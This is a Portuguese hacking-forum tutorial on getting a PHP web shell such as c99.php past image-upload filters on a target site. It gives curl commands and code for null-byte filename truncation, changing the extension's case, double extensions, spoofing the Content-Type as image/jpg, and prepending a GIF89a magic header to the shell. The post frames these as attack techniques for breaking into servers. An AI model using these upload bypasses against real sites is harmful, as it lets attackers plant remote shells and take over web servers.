Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

(Esconder Shell) Enganar comando file, passar shell como se fosse imagem

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial (Esconder Shell) Enganar comando file, passar shell como se fosse imagem

    Bem, já vi alguns posts aqui no GH que "explicavam" como fazer upload de uma shell como se fosse image. O problema é que esses posts não explicavam como isso era possivel e qual o funcionamento, e se você tem alguem que consegue invadir mas não sabe como foi possivel, então você terá um script kiddie ou lamer, chame do que quiser. Mas o importante é entender.

    Primeiro vamos entender como os scripts de upload identificam o tipo de arquivo.

    1. Pela extenção.

    Dependendo da versão do PHP essa é dificil de burlar, mas tem varias formas.
    Null Charactere.
    Essa técnica pode ou não funcionar, depende da versão do PHP, funciona porque a
    função que filtra para quando encontra o caractere NULL, é simples, desde o C que
    para identificar o fim de uma string deve-se achar o caractere NULL, então é só adicionar
    os caracteres %00 no fim do nome arquivo, mas não no formulario, use o curl por exemplo.

    $ curl -F "imagem=@c99.php;filename=c99.php%00" --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Capitalize
    Essa técnica depende do script, digamos que haja uma comparação no script como essa:
    Código PHP:
    if(substr(strstr($filename'.'), 1) != '.php'
    observe que essa comparação compara apenas com '.php', então pare e pense, se a comparação
    é case-sensitive, então.... isso mesmo, você tem apenas que mudar a extenção para .PHP ou pHp,etc
    funciona bem em servidores windows.

    .jpg.php
    Alguns scripts só procuram por um texto no meio da string, então basta você inserir a extenção acima

    2. Type

    Essa é mais ou menos simples, você precisa fazer o upload usando alguma ferramenta como o curl ou
    programando um script que envie a requisição certa.

    Funciona porque é o requerinte da página que envia, então é bem fácil. Digamos que no script tenha
    o seguinte código:
    Código PHP:
    if(eregi("^image/(jpg|png|gif)$"$_FILES['imagem']['type'])) 
    então basta enviar com o tipo como "image/jpg", que vai junto com a requisição HTTP, em um cabeçalho
    Content-Type. Pra fazer isso com o curl use o comando:

    $ curl -F "imagem=@c99.php;type=image/jpg" --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    3. Magic Headers

    Essa funciona quando o alvo usa o comando file do linux ou a função mime_content_type do PHP
    Primeiro você tem que saber que magic é uma informação que fica dentro do arquivo e que identifica ele.
    Funciona assim: primeiro você tem que saber o offset (o local onde começa), depois a string de identificação,
    vamos usar o GIF, o offset é 0, e a string é GIF89a ou GIF87a, no caso do GIF esses numeros são a versão do GIF,
    mas isso não interessa no momento.

    Então basta adicionar GIF89a no começo da shell, ou do arquivo que quiser, mas tem de ser bem no começo mesmo,
    sem espaços,
    ex:
    Código PHP:
    GIF89a <?php .... ?>
    Pra testar se deu certo use:
    $ file nomedoarquivo.php
    a saida será:
    nomedoarquivo.php: GIF image data, version 87a,

    Você pode disfarçar como outros formatos de arquivo, alias, qualquer um, basta estudar as especificações, ou achar só o
    magic.

    Mais a dica mais importante é: Aprenda a programar scripts
    Qualquer linguagem que você se der bem, perl, python, shell script, php, assim você terá a mais poderosa ferramenta de todas.
    Similar Threads
X
Working...
X